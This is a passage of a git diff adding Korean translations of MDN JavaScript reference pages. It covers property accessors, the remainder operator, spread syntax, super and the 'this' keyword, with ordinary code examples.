+<p>메서드는 해당 메서드의 객체에 바인딩되지 않습니다. 특히 <code>this</code>는 메서드 내에 고정되지 않으므로 <code>this</code>가 항상 현재 메서드를 포함하는 객체를 참조하는건 아닙니다. 대신, <code>this</code>는 함수 호출 방식에 따라 "전달"됩니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/this#bind_메서드" title="method binding">메서드 바인딩</a>을 참고하세요.</p>
+
+<h3 id="eval()_주의사항"><code>eval()</code> 주의사항</h3>
+
+<p>JavaScript 초심자로써는 괄호 표기법을 사용할 수 있는 장소에 {{jsxref("eval", "eval()")}}을 남용하기 쉽습니다. 간혹 스크립트에서 다음과 같은 구문을 찾아볼 수 있습니다.</p>
+
+<pre class="brush: js">x = eval('document.forms.form_name.elements.' + strFormControl + '.value');
+</pre>
+
+<p><code>eval()</code>은 느리고, 가능하다면 최대한 피해야 합니다. 또한, <code>strFormControl</code>은 유효한 식별자여야 하지만, 폼 컨트롤의 ID나 이름은 식별자가 아닐 수도 있습니다. 따라서 괄호 표기법을 대신 사용하는 것이 좋습니다.</p>
+
+<pre class="brush: js">x = document.forms["form_name"].elements[strFormControl].value;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.0에서 구현됨.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.property_accessors")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/remainder/index.html b/files/ko/web/javascript/reference/operators/remainder/index.html
new file mode 100644
index 0000000000..beeb0033a3
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/remainder/index.html
@@ -0,0 +1,73 @@
+---
+title: 나머지 연산자 (%)
+slug: Web/JavaScript/Reference/Operators/Remainder
+translation_of: Web/JavaScript/Reference/Operators/Remainder
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>나머지 연산자(<code>%</code>)는 피제수가 제수에 의해 나누어진 후, 그 나머지를 반환합니다. 항상 피제수의 부호를 따릅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>var1</var> % <var>var2</var>
+</pre>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="피제수의_나머지">(+)피제수의 나머지</h3>
+
+<pre class="brush: js notranslate"> 12 % 5  //  2
+ 1 % -2 //  1
+ 1 % 2  //  1
+ 2 % 3  //  2
+5.5 % 2 // 1.5
+</pre>
+
+<h3 id="-피제수의_나머지">(-)피제수의 나머지</h3>
+
+<pre class="brush: js notranslate">-12 % 5 // -2
+-1 % 2  // -1
+-4 % 2  // -0</pre>
+
+<h3 id="NaN의_나머지">NaN의 나머지</h3>
+
+<pre class="brush: js notranslate">NaN % 2 // NaN</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.remainder")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/spread_syntax/index.html b/files/ko/web/javascript/reference/operators/spread_syntax/index.html
new file mode 100644
index 0000000000..d2174a53bb
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/spread_syntax/index.html
@@ -0,0 +1,255 @@
+---
+title: 전개 구문
+slug: Web/JavaScript/Reference/Operators/Spread_syntax
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Reference
+  - Spread
+  - 전개 연산자
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>전개 구문</strong>을 사용하면 배열이나 문자열과 같이 반복 가능한 문자를 0개 이상의 인수 (함수로 호출할 경우) 또는 요소 (배열 리터럴의 경우)로 확장하여, 0개 이상의 키-값의 쌍으로 객체로 확장시킬 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p>함수 호출:</p>
+
+<pre class="syntaxbox">myFunction(...iterableObj);
+</pre>
+
+<p>배열 리터럴과 문자열:</p>
+
+<pre class="syntaxbox">[...iterableObj, '4', 'five', 6];</pre>
+
+<p>객체 리터럴(ECMAScript 2018에서 추가):</p>
+
+<pre class="syntaxbox">let objClone = { ...obj };</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="함수_호출에서의_전개">함수 호출에서의 전개</h3>
+
+<h4 id="apply()_대체"><code>apply()</code> 대체</h4>
+
+<p>일반적으로 배열의 엘리먼트를 함수의 인수로 사용하고자 할 때 {{jsxref( "Function.prototype.apply()")}} 를 사용하였습니다.</p>
+
+<pre class="brush: js">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction.apply(null, args);</pre>
+
+<p>전개 구문을 사용해 위 코드는 다음과 같이 작성될 수 있습니다.</p>
+
+<pre class="brush: js">function myFunction(x, y, z) { }
+var args = [0, 1, 2];
+myFunction(...args);</pre>
+
+<p>인수 목록의 모든 인수는 전개 구문을 사용할 수 있으며, 여러번 사용될 수도 있습니다.</p>
+
+<pre class="brush: js">function myFunction(v, w, x, y, z) { }
+var args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h4 id="new에_적용"><code>new</code>에 적용</h4>
+
+<p>{{jsxref("Operators/new", "new")}}를 사용해 생성자를 호출 할 때, 배열과 <code>apply</code> (<code>apply</code> 는 <code>[[Call]]</code> 을 하지만 <code>[[Construct]]</code> 는 그렇지 않음) 를 <strong>직접</strong> 사용하는 것은 불가했습니다. 하지만, 전개 구문 덕분에 배열을 <code>new</code> 와 함께 쉽게 사용될 수 있습니다.</p>
+
+<pre class="brush: js">var dateFields = [1970, 0, 1];  // 1 Jan 1970
+var d = new Date(...dateFields);
+</pre>
+
+<p>전개 구문 없이 파라미터의 배열과 함께 <code>new</code>를 사용하려면, 부분적인 어플리케이션을 통해 <strong>간접적</strong>으로 해야 합니다.</p>
+
+<pre class="brush: js">function applyAndNew(constructor, args) {
+   function partial () {
+      return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+      partial.prototype = Object.create(constructor.prototype);
+   }
+   return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor):           arguments.length: 6
+// (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="배열_리터럴에서의_전개">배열 리터럴에서의 전개</h3>
+
+<h4 id="더_강력한_배열_리터럴">더 강력한 배열 리터럴</h4>
+
+<p>전개 구문 없이, 이미 존재하는 배열을 일부로 하는 새로운 배열을 생성하기에, 배열 리터럴 문법은 더 이상 충분하지 않으며 {{jsxref("Array.prototype.push", "push()")}}, {{jsxref("Array.prototype.splice", "splice()")}}, {{jsxref("Array.prototype.concat", "concat()")}} 등의 조합을 사용하는 대신 명령형 코드를 사용해야 했습니다. 전개 구문으로 이는 훨씬 더 간결해졌습니다.</p>
+
+<pre class="brush: js">var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+// ["head", "shoulders", "knees", "and", "toes"]
+</pre>
+
+<p>인수 목록을 위한 spread 처럼, <code>...</code> 은 배열 리터럴의 어디에서든 사용될 수 있으며 여러번 사용될 수도 있습니다.</p>
+
+<h4 id="배열_복사">배열 복사</h4>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+var arr2 = [...arr]; // arr.slice() 와 유사
+arr2.push(4);
+
+// arr2 은 [1, 2, 3, 4] 이 됨
+// arr 은 영향을 받지 않고 남아 있음
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> Spread 문법은 배열을 복사할 때 1 레벨 깊이에서 효과적으로 동작합니다. 그러므로, 다음 예제와 같이 다차원 배열을 복사하는것에는 적합하지 않을 수 있습니다. ({{jsxref("Object.assign()")}} 과 전개 구문이 동일합니다)</p>
+</div>
+
+<pre class="brush: js">var a = [[1], [2], [3]];
+var b = [...a];
+b.shift().shift(); // 1
+// 이제 배열 a 도 영향을 받음: [[], [2], [3]]
+</pre>
+
+<h4 id="배열을_연결하는_더_나은_방법">배열을 연결하는 더 나은 방법</h4>
+
+<p>{{jsxref("Array.prototype.concat()")}} 은 배열을 존재하는 배열의 끝에 이어붙이는데 종종 사용됩니다. 전개 구문 없이, 이는 다음과 같이 작성됩니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// arr2 의 모든 항목을 arr1 에 붙임
+arr1 = arr1.concat(arr2);</pre>
+
+<p>전개 구문을 사용해 이는 다음과 같아집니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr1, ...arr2]; // arr1 은 이제 [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>{{jsxref("Array.prototype.unshift()")}}는 존재하는 배열의 시작 지점에 배열의 값들을 삽입하는데 종종 사용됩니다. 전개 구문 없이, 이는 다음과 같이 작성됩니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+// arr2 의 모든 항목을 arr1 의 앞에 붙임
+Array.prototype.unshift.apply(arr1, arr2) // arr1 은 이제 [3, 4, 5, 0, 1, 2] 가 됨</pre>
+
+<p>전개 구문으로, 이는 다음과 같아집니다.</p>
+
+<pre class="brush: js">var arr1 = [0, 1, 2];
+var arr2 = [3, 4, 5];
+arr1 = [...arr2, ...arr1]; // arr1 은 이제 [3, 4, 5, 0, 1, 2] 가 됨
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>unshift()</code>와 달리, 위 예제는 새로운 <code>arr1</code>을 만들며 기존 배열을 변형하지 않습니다.</p>
+</div>
+
+<h3 id="객체_리터럴에서의_전개">객체 리터럴에서의 전개</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">ECMAScript의 Rest/Spread 프로퍼티</a> 제안 (stage 4) 은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 리터럴</a>에 속성 전개를 추가합니다. 이는 제공된 객체가 소유한 열거형 프로퍼티를 새로운 객체로 복사합니다.</p>
+
+<p>얕은 복제(prototype 제외) 또는 객체의 병합은 이제 {{jsxref("Object.assign()")}} 보다 더 짧은 문법을 사용해 가능합니다.</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>{{jsxref("Object.assign()")}} 은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/set">setters</a> 를 트리거하지만 전개 구문은 그렇지 않음을 유의합니다.</p>
+
+<p>{{jsxref("Object.assign()")}} 함수를 대체하거나 흉내낼 수 없음을 유의합니다.</p>
+
+<pre><code>var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</code></pre>
+
+<p>위 예제에서, 전개 구문은 예상대로 동작하지 않습니다. 나머지 매개변수로 인해, 인수 배열을 객체 리터럴로 전개합니다.</p>
+
+<h3 id="이터러블_전용">이터러블 전용</h3>
+
+<p>전개 구문 (spread 프로퍼티인 경우 제외) 은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator">iterable</a> 객체에만 적용됩니다.</p>
+
+<pre class="brush: js">var obj = {'key1': 'value1'};
+var array = [...obj]; // TypeError: obj is not iterable
+</pre>
+
+<h3 id="많은_값과_Spread">많은 값과 Spread</h3>
+
+<p>함수 호출에서 spread 문법을 사용할 때, 자바스크립트 엔진의 인수 길이 제한을 초과하지 않도록 주의합니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object)."><code>apply()</code></a> 를 보세요.</p>
+
+<h2 id="나머지_구문_(매개변수)">나머지 구문 (매개변수)</h2>
+
+<p>나머지 구문은 전개 구문과 정확히 같아보이지만, 대신 배열이나 객체를 분해할 때 사용됩니다. 어떤 면에서, 나머지 구문은 전개 구문과 반대입니다. 전개는 배열을 그 엘리먼트로 '확장' 하는 반면, 나머지는 여러 엘리먼트를 수집하며 이를 하나의 엘리먼트로 '압축' 합니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> 문서를 보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>명세의 여러 섹션에서 정의 됨: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">Object Initializer</a> 에서 정의됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>변동 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>변동 없음.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> (또한 ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">fn.apply</a> (또한 ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/super/index.html b/files/ko/web/javascript/reference/operators/super/index.html
new file mode 100644
index 0000000000..fbcb123c57
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/super/index.html
@@ -0,0 +1,176 @@
+---
+title: super
+slug: Web/JavaScript/Reference/Operators/super
+tags:
+  - Classes
+  - JavaScript
+  - Left-hand-side expressions
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>super</strong> 키워드는 부모 오브젝트의 함수를 호출할 때 사용됩니다.</p>
+
+<p><code>super.prop</code> 와 <code>super[expr]</code> 표현식은 <a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a> 와 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체리터럴</a>의 어떠한 <a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a> 방법에서도 유효합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">super([arguments]); // 부모 생성자 호출
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>생성자에서는 <code>super</code> 키워드 하나만 사용되거나 <code>this</code> 키워드가 사용되기 전에 호출되어야 합니다. 또한 <code>super</code> 키워드는 부모 객체의 함수를 호출하는데 사용될 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="클래스에서_super_사용하기">클래스에서 <code>super</code> 사용하기</h3>
+
+<p>이 예제는 옆의 링크에서 발췌하였습니다. <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p>
+
+<pre class="brush: js">class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+  sayName() {
+    console.log('Hi, I am a ', this.name + '.');
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    this.height; // 참조오류가 발생합니다. super가 먼저 호출되어야 합니다.
+
+    // 여기서, 부모클래스의 생성자함수를 호출하여 높이값을 넘겨줍니다.
+    // Polygon의 길이와 높이를 넘겨줍니다.
+    super(length, length);
+
+    // 참고: 파생 클래스에서 super() 함수가 먼저 호출되어야
+    // 'this' 키워드를 사용할 수 있습니다. 그렇지 않을 경우 참조오류가 발생합니다.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="정적_메서드에서_Super_호출">정적 메서드에서 Super 호출</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Classes/static">static</a> 메서드에서도 super를 호출할 수 있습니다.</p>
+
+<pre class="brush: js">class Human {
+  constructor() {}
+  static ping() {
+    return 'ping';
+  }
+}
+
+class Computer extends Human {
+  constructor() {}
+  static pingpong() {
+    return super.ping() + ' pong';
+  }
+}
+Computer.pingpong(); // 'ping pong'
+</pre>
+
+<h3 id="super의_속성_삭제">super의 속성 삭제</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete">delete 연산자</a>를 사용할 수 없으며 <code>super.prop</code> 또는 <code>super[expr]</code> 표현식을 사용하여 부모 클래스의 속성을 삭제할 경우 {{jsxref("ReferenceError")}} 오류가 발생합니다.</p>
+
+<pre class="brush: js">class Base {
+  constructor() {}
+  foo() {}
+}
+class Derived {
+  constructor() {}
+  delete() {
+    delete super.foo;
+  }
+}
+
+new Derived().delete(); // 참조오류: 'super'완 관련된 삭제가 유효하지 않습니다. </pre>
+
+<h3 id="Super.prop은_non-writable_속성을_덮어_쓸_수_없습니다"><code>Super.prop</code>은 non-writable 속성을 덮어 쓸 수 없습니다</h3>
+
+<p>예를 들어 {{jsxref("Object.defineProperty")}}로 속성을 정의할 때, <code>super</code>의 속성 값을 덮어 쓸 수 없습니다.</p>
+
+<pre class="brush: js">class X {
+  constructor() {
+    Object.defineProperty(this, "prop", {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+  f() {
+    super.prop = 2;
+  }
+}
+
+var x = new X();
+x.f();
+console.log(x.prop); // 1
+</pre>
+
+<h3 id="객체_리터럴에서_super.prop_사용하기">객체 리터럴에서 <code>super.prop</code> 사용하기</h3>
+
+<p>Super는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal</a> 표기법에서 사용할 수 있습니다. 아래의 예제에서, 두개의 객체는 메서드를 정의합니다. 두번째 객체에서, <code>super</code>는  첫번째 객체의 메서드를 호출합니다. 이 예제는 {{jsxref("Object.setPrototypeOf()")}}를 이용하여  obj2 prototype에 obj1을 세팅하여, <code>super</code>가 obj1의 method1을 찾을 수 있도록 합니다.</p>
+
+<pre class="brush: js">var obj1 = {
+  method1() {
+    console.log("method 1");
+  }
+}
+
+var obj2 = {
+  method2() {
+   super.method1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // logs "method 1"
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/this/index.html b/files/ko/web/javascript/reference/operators/this/index.html
new file mode 100644
index 0000000000..8a2807a5d8
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/this/index.html
@@ -0,0 +1,398 @@
+---
+title: this
+slug: Web/JavaScript/Reference/Operators/this
+tags:
+  - JavaScript
+  - Operator
+  - Primary Expressions
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript에서 <strong>함수의 <code>this</code> 키워드</strong>는 다른 언어와 조금 다르게 동작합니다. 또한 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>와 비엄격 모드에서도 일부 차이가 있습니다.</p>
+
+<p>대부분의 경우 <code>this</code>의 값은 함수를 호출한 방법에 의해 결정됩니다. 실행중에는 할당으로 설정할 수 없고 함수를 호출할 때 마다 다를 수 있습니다. ES5는 {{jsxref('Operators/this', "함수를 어떻게 호출했는지 상관하지 않고 <code>this</code> 값을 설정할 수 있는")}} {{jsxref("Function.prototype.bind()", "bind")}} 메서드를 도입했고, ES2015는 스스로의 <code>this</code> 바인딩을 제공하지 않는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/%EC%95%A0%EB%A1%9C%EC%9A%B0_%ED%8E%91%EC%85%98">화살표 함수</a>를 추가했습니다(이는 렉시컬 컨텍스트안의 <code>this</code>값을 유지합니다).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">this</pre>
+
+<h3 id="값">값</h3>
+
+<p>실행 컨텍스트(global, function 또는 eval)의 프로퍼티는 비엄격 모드에서 항상 객체를 참조하며, 엄격 모드에서는 어떠한 값이든 될 수 있습니다.</p>
+
+<h2 id="전역_문맥">전역 문맥</h2>
+
+<p>전역 실행 문맥<sup>global execution context</sup>에서 <code>this</code>는 엄격 모드 여부에 관계 없이 전역 객체를 참조합니다.</p>
+
+<pre class="brush: js notranslate">// 웹 브라우저에서는 window 객체가 전역 객체
+console.log(this === window); // true
+
+a = 37;
+console.log(window.a); // 37
+
+this.b = "MDN";
+console.log(window.b)  // "MDN"
+console.log(b)         // "MDN"</pre>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> global {{jsxref("globalThis")}} 프로퍼티를 사용하여 코드가 실행중인 현재 컨텍스트와 관계없이 항상 전역 객체를 얻을 수 있습니다.</p>
+</div>
+
+<h2 id="함수_문맥">함수 문맥</h2>
+
+<p>함수 내부에서 <code>this</code>의 값은 함수를 호출한 방법에 의해 좌우됩니다.</p>
+
+<h3 id="단순_호출">단순 호출</h3>
+
+<p>다음 예제는 엄격 모드가 아니며 <code>this</code>의 값이 호출에 의해 설정되지 않으므로, 기본값으로 브라우저에서는 {{domxref("Window", "window")}}인 전역 객체를 참조합니다.</p>
+
+<pre class="brush: js notranslate">function f1() {
+  return this;
+}
+
+// 브라우저
+f1() === window; // true
+
+// Node.js
+f1() === global; // true</pre>
+
+<p>반면에 엄격 모드에서 <code>this</code> 값은 실행 문맥에 진입하며 설정되는 값을 유지하므로 다음 예시에서 보여지는 것 처럼 <code>this</code>는 <code>undefined</code>로 남아있습니다.</p>
+
+<pre class="brush: js notranslate">function f2(){
+  "use strict"; // 엄격 모드 참고
+  return this;
+}
+
+f2() === undefined; // true
+</pre>
+
+<div class="blockIndicator note">
+<p>두번째 예제에서 <code>f2</code>를 객체의 메서드나 속성(예: <code>window.f2()</code>)으로써가 아닌 직접 호출했기 때문에  <code>this</code>는 {{jsxref("undefined")}}여야 합니다. 그러나 엄격 모드를 처음 지원하기 시작한 초기 브라우저에서는 구현하지 않았고, <code>window</code> 객체를 잘못 반환했습니다.</p>
+</div>
+
+<p><code>this</code>의 값을 한 문맥에서 다른 문맥으로 넘기려면 다음 예시와 같이 {{jsxref("Function.prototype.call()", "call()")}}이나 {{jsxref("Function.prototype.apply", "apply()")}}를 사용하세요.</p>
+
+<p><strong>예시 1</strong></p>
+
+<pre class="brush: js notranslate" dir="rtl">// call 또는 apply의 첫 번째 인자로 객체가 전달될 수 있으며 this가 그 객체에 묶임
+var obj = {a: 'Custom'};
+
+// 변수를 선언하고 변수에 프로퍼티로 전역 window를 할당
+var a = 'Global';
+
+function whatsThis() {
+  return this.a;  // 함수 호출 방식에 따라 값이 달라짐
+}
+
+whatsThis();          // this는 'Global'. 함수 내에서 설정되지 않았으므로 global/window 객체로 초기값을 설정한다.
+whatsThis.call(obj);  // this는 'Custom'. 함수 내에서 obj로 설정한다.
+whatsThis.apply(obj); // this는 'Custom'. 함수 내에서 obj로 설정한다.
+</pre>
+
+<p><strong>예시 2</strong></p>
+
+<pre class="brush: js notranslate">function add(c, d) {
+  return this.a + this.b + c + d;
+}
+
+var o = {a: 1, b: 3};
+
+// 첫 번째 인자는 'this'로 사용할 객체이고,
+// 이어지는 인자들은 함수 호출에서 인수로 전달된다.
+add.call(o, 5, 7); // 16
+
+// 첫 번째 인자는 'this'로 사용할 객체이고,
+// 두 번째 인자는 함수 호출에서 인수로 사용될 멤버들이 위치한 배열이다.
+add.apply(o, [10, 20]); // 34
+</pre>
+
+<p>비엄격 모드에서 <code>this</code>로 전달된 값이 객체가 아닌 경우, <code>call</code>과 <code>apply</code>는 이를 객체로 변환하기 위한 시도를 합니다. <code>null</code>과 <code>undefined</code> 값은 전역 객체가 됩니다. <code>7</code>이나 <code>'foo'</code>와 같은 원시값은 관련된 생성자를 사용해 객체로 변환되며, 따라서 원시 숫자 <code>7</code>은 <code>new Number(7)</code>에 의해 객체로 변환되고 문자열 <code>'foo'</code>는 <code>new String('foo')</code>에 의해 객체로 변환됩니다.</p>
+
+<pre class="brush: js notranslate">function bar() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7);     // [object Number]
+bar.call('foo'); // [object String]
+bar.call(undefined); // [object global]
+</pre>
+
+<h3 id="bind_메서드"><code>bind</code> 메서드</h3>
+
